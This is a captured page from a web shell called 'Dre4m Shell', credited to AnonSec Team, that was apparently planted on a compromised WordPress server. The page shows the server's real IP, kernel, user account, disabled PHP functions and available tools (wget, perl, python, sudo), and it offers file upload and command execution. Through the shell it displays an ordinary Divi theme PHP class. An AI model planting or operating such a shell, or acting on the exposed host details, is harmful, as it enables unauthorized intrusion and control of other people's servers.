Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.142.42.247
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-content/themes/Divi/core/components/post/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/wp-content/themes/Divi/core/components/post/Taxonomy.php
<?php


abstract class ET_Core_Post_Taxonomy extends ET_Core_Post_Object {

	/**
	 * The `$args` array used when registering this taxonomy.
	 *
	 * @since 3.0.99
	 * @var   array
	 */
	protected $_args;

	/**
	 * The WP Taxonomy object for this instance.
	 *
	 * @since 3.0.99
	 * @var   WP_Taxonomy
	 */
	protected $_wp_object;

	/**
	 * Taxonomy key.
	 *
	 * @since 3.0.99
	 * @var   string
	 */
	public $name;

	/**
	 * The post types to which this taxonomy applies.
	 *
	 * @since 3.0.99
	 * @var   array
	 */
	public $post_types;

	/**
	 * This taxonomy's terms.
	 *
	 * @var WP_Term[]
	 */
	public $terms;

	/**
	 * @inheritDoc
	 */
	public $wp_type = 'taxonomy';

	/**
	 * ET_Core_Post_Taxonomy constructor.
	 */
	public function __construct() {
		parent::__construct();

		$name = $this->name;

		/**
		 * Filters the supported post types for a custom taxonomy. The dynamic portion of the
		 * filter name, $name, refers to the name of the custom taxonomy.
		 *
		 * @since 3.0.99
		 *
		 * @param array
		 */
		$this->post_types = apply_filters( "et_core_taxonomy_{$name}_post_types", $this->post_types );
	}

	/**
	 * Get the terms for this taxonomy.
	 *
	 * @return array|int|WP_Error|WP_Term[]
	 */
	public function get() {
		if ( is_null( $this->terms ) ) {
			$this->terms = get_terms( $this->name, array( 'hide_empty' => false ) );
		}

		return $this->terms;
	}

	/**
	 * Get a derived class instance.
	 *
	 * @since 3.0.99
	 *
	 * @param string $type See {@see self::$wp_type} for accepted values. Default is 'taxonomy'.
	 * @param string $name The name/slug of the derived object. Default is an empty string.
	 *
	 * @return self|null
	 */
	public static function instance( $type = 'taxonomy', $name = '' ) {
		return parent::instance( $type, $name );
	}
}

Anon7 - 2022
AnonSec Team